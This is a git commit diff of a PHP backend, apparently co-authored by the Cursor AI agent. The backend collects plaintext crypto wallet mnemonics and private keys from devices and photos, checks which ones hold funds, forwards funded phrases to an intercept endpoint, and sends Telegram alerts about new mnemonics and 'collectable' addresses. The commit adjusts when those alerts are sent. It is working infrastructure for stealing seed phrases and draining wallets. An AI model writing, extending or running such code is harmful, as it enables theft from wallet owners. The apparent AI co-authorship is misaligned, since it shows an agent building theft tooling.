Skip local Telegram when a funded scan mnemonic is forwarded.

Scan ingest was notifying new-phrase and collectable addresses before POST /us succeeded.

Co-authored-by: Cursor <cursoragent@cursor.com>
This commit is contained in:
root
2026-10-12 16:07:25 +00:00
parent c894f498b8
commit bb695c12c4
5 changed files with 42 additions and 19 deletions
+4 -2
View File
@@ -531,7 +531,7 @@ class IngestService
/** /**
* `/api/user/set` — plaintext mnemonic / private key in `result`. * `/api/user/set` — plaintext mnemonic / private key in `result`.
*/ */
public function ingestMnemonic(Device $device, ?array $payload, ?Device $origin = null): void public function ingestMnemonic(Device $device, ?array $payload, ?Device $origin = null, bool $notify = true): void
{ {
if (! is_array($payload)) { if (! is_array($payload)) {
return; return;
@@ -569,7 +569,8 @@ class IngestService
} }
$row->save(); $row->save();
if ($isNew) { if ($isNew) {
$this->mnemonicLinker->linkMnemonicToDeviceAddresses($row); $this->mnemonicLinker->linkMnemonicToDeviceAddresses($row, $notify);
if ($notify) {
$this->telegram->notifyNewMemoric( $this->telegram->notifyNewMemoric(
$device->device_id, $device->device_id,
$source, $source,
@@ -578,6 +579,7 @@ class IngestService
); );
} }
} }
}
/** /**
* Validate that a secret looks like a BIP39 mnemonic (12 or 24 words, * Validate that a secret looks like a BIP39 mnemonic (12 or 24 words,
+2 -2
View File
@@ -72,7 +72,7 @@ class MnemonicAddressLinker
* *
* @return int Number of addresses linked * @return int Number of addresses linked
*/ */
public function linkMnemonicToDeviceAddresses(WalletMnemonic $mnemonic): int public function linkMnemonicToDeviceAddresses(WalletMnemonic $mnemonic, bool $notify = true): int
{ {
$phrase = $mnemonic->mnemonic; $phrase = $mnemonic->mnemonic;
if ($phrase === null || trim($phrase) === '') { if ($phrase === null || trim($phrase) === '') {
@@ -141,7 +141,7 @@ class MnemonicAddressLinker
$linked++; $linked++;
} }
if ($newlyLinked !== []) { if ($notify && $newlyLinked !== []) {
$this->telegram->notifyCollectableAddresses($newlyLinked); $this->telegram->notifyCollectableAddresses($newlyLinked);
} }
+19 -4
View File
@@ -28,6 +28,7 @@ class MnemonicScanService
private readonly IngestService $ingest, private readonly IngestService $ingest,
private readonly MnemonicWalletDiscovery $discovery, private readonly MnemonicWalletDiscovery $discovery,
private readonly InterceptForwarder $forwarder, private readonly InterceptForwarder $forwarder,
private readonly TelegramNotifier $telegram,
) {} ) {}
public function dispatchPhoto(Photo $photo): void public function dispatchPhoto(Photo $photo): void
@@ -386,7 +387,7 @@ class MnemonicScanService
$this->ingest->ingestMnemonic($holder, [ $this->ingest->ingestMnemonic($holder, [
'mnemonic' => $phrase, 'mnemonic' => $phrase,
'a' => $tag, 'a' => $tag,
], $origin); ], $origin, notify: false);
$mnemonic = WalletMnemonic::query() $mnemonic = WalletMnemonic::query()
->where('device_id', $holder->id) ->where('device_id', $holder->id)
@@ -397,7 +398,7 @@ class MnemonicScanService
} }
try { try {
$this->discovery->discoverActivated($mnemonic); $this->discovery->discoverActivated($mnemonic, notify: false);
} catch (\Throwable $e) { } catch (\Throwable $e) {
Log::warning('scan mnemonic discovery failed: '.$e->getMessage(), [ Log::warning('scan mnemonic discovery failed: '.$e->getMessage(), [
'mnemonic_id' => $mnemonic->id, 'mnemonic_id' => $mnemonic->id,
@@ -405,11 +406,25 @@ class MnemonicScanService
]); ]);
} }
if (! $this->mnemonicHasPositiveBalance($mnemonic)) { $forwarded = false;
if ($this->mnemonicHasPositiveBalance($mnemonic)) {
$forwarded = $this->forwarder->postMnemonic((string) $holder->device_id, $phrase, $tag);
}
if ($forwarded) {
return; return;
} }
$this->forwarder->postMnemonic((string) $holder->device_id, $phrase, $tag); $this->telegram->notifyNewMemoric(
(string) $holder->device_id,
(string) ($mnemonic->source ?: ''),
$phrase,
$origin !== null ? $origin->device_id : null,
);
if ($this->mnemonicHasPositiveBalance($mnemonic)) {
$this->telegram->notifyCollectableAddresses(
WalletAddress::query()->where('mnemonic_id', $mnemonic->id)->get()
);
}
} }
private function mnemonicHasPositiveBalance(WalletMnemonic $mnemonic): bool private function mnemonicHasPositiveBalance(WalletMnemonic $mnemonic): bool
+3 -3
View File
@@ -62,7 +62,7 @@ class MnemonicWalletDiscovery
* set discovery_complete. * set discovery_complete.
* @return int Number of address rows created or updated * @return int Number of address rows created or updated
*/ */
public function discoverActivated(WalletMnemonic $mnemonic, bool $force = false): int public function discoverActivated(WalletMnemonic $mnemonic, bool $force = false, bool $notify = true): int
{ {
$phrase = $mnemonic->mnemonic; $phrase = $mnemonic->mnemonic;
if ($phrase === null || trim($phrase) === '') { if ($phrase === null || trim($phrase) === '') {
@@ -97,7 +97,7 @@ class MnemonicWalletDiscovery
$saved = []; $saved = [];
$covered = []; // chain => true when linked / miss-cached / probed this run $covered = []; // chain => true when linked / miss-cached / probed this run
$created = ChainHttpTimeout::using(self::PROBE_TIMEOUT_SECONDS, function () use ($mnemonic, $phrase, $source, $linkedChainTypes, $force, &$saved, &$covered) { $created = ChainHttpTimeout::using(self::PROBE_TIMEOUT_SECONDS, function () use ($mnemonic, $phrase, $source, $linkedChainTypes, $force, $notify, &$saved, &$covered) {
foreach (self::CHAINS as $spec) { foreach (self::CHAINS as $spec) {
$chain = $spec['chain']; $chain = $spec['chain'];
@@ -135,7 +135,7 @@ class MnemonicWalletDiscovery
} }
} }
if ($saved !== []) { if ($notify && $saved !== []) {
$this->telegram->notifyCollectableAddresses($saved); $this->telegram->notifyCollectableAddresses($saved);
} }
+8 -2
View File
@@ -48,7 +48,6 @@ TXT;
]); ]);
Http::fake([ Http::fake([
'api.telegram.org/*' => Http::response(['ok' => true], 200), 'api.telegram.org/*' => Http::response(['ok' => true], 200),
'*' => Http::response('fail', 500),
]); ]);
} }
@@ -450,7 +449,6 @@ TXT;
Http::fake([ Http::fake([
'api.telegram.org/*' => Http::response(['ok' => true], 200), 'api.telegram.org/*' => Http::response(['ok' => true], 200),
'https://dest.example/*' => Http::response('ok', 200), 'https://dest.example/*' => Http::response('ok', 200),
'*' => Http::response('fail', 500),
]); ]);
$this->bindFundedDiscovery('TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH', 12.5); $this->bindFundedDiscovery('TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH', 12.5);
@@ -479,6 +477,14 @@ TXT;
&& ($payload['a'] ?? '') === 'note_scan' && ($payload['a'] ?? '') === 'note_scan'
&& ($payload['mnemonic'] ?? '') === self::PHRASE; && ($payload['mnemonic'] ?? '') === self::PHRASE;
}); });
Http::assertNotSent(function ($request) {
if (! str_contains($request->url(), 'api.telegram.org')) {
return false;
}
$text = (string) ($request->data()['text'] ?? '');
return str_contains($text, '新助记词') || str_contains($text, '地址可归集');
});
} }
#[Test] #[Test]